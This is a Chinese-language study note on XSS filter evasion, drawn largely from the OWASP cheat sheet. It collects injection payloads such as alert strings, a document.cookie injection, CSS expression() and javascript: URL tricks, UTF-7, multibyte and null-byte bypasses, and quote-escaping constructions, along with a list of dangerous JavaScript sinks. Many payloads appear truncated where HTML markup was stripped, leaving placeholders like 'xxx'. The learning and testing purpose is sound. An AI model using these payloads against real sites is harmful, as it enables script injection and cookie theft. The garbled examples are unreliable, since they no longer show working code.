一直对xss的理解比较薄弱,今天蛋疼的来整理一下。主要来源于心伤的瘦子大神的教程。这个XSS在现在看来反射型已经穷途末路,因为浏览器会自动过滤掉它。
但是存储型的XSS危害还是比较大的,满足XSS要满足两个条件,就是输入和输出的时候都不存在在过滤,这其实是比较严格的。
主要是收集于https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet的一些绕过和用来测试的XSS语句
大神另外还整理了比较全的http://www.wooyun.org/whitehats
'';!--"=&{()}
还有一个复杂一点的,感觉不常用
';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
-->">'>
xxs link
更多的回调函数类型在这能找到
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
可以转换成,一般情况下对于& # ;不被过滤的话引号中的内容就可以随意构造了
有的时候一些正则会使用xx 这样来对实体字符进行过滤,但是可以用xxx;这样的方式来绕过
xxx
alert('XSS');";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>
multi-byte character
这个就是利用多字节编码的特点来吃掉后面的字符,一般情况下读到第一个字节是 xx-xx 之内的数值,就确定了后面有几字节的数据
来共同组成一个字符,后面字符的取值并不重要。这种利用通常在老版本IE下奏效。
主要是一些绕过正则匹配的方法
这里一般是正则表达式自作一遍过滤,可以这样进行构造
xxxxxxx
在style注入的情况下,可以用注释符截断关键字,比如
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
有一些字符在浏览器解析的时候会被忽略可以用来绕过正则
经过fuzz,发现只有%00 可以截断且只在ie下有效
alert(0);
这个源自于浏览器瞎解释,他会把一些8位的字符直接解释成7位ascii
poc
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
location.href="........."+"&ss=aaaa"+"&from=bbb";
这一句,我们无法闭合掉双引号的情况下,可以用反斜杠来进行这样的构造
location.href="........."+"&ss=aaaa\"+"&from=(yyyyyyy);(xxxxxxxxxxxx邪恶语句)//";
在IE低版本下,不会给value等属性加双引号,这时候可以用重音符来代替双引号,来达到跳出双引号的目的
<
中 或者 onxxxx函数中,这种情况可利用的几率很大。
构造变量为
''; alert(document.cookie); var foo=''
这种情况要注意。构造不能让js语法出错。
var a=''ale"+"rt(1)";eval(a);
这种情况下,如果输入没有过滤单引号的话,就可以形成XSS注入了
css中支持\Ascii这样的方式,如果\没有被过滤的话,可以用来绕过检测
还有另外两种常见利用格式
background-color:#f00;background:url("javascript:alert(document.domain);");
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
//我是注释,我爱洗澡,哦~哦~哦~ [我是输出 换行符
alert(1);//我是输出]
xxx
";
再比如
document.write("xxxxxxxxxxxx");
这些语句中的字符串变量有这么一个比较美丽的特性
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()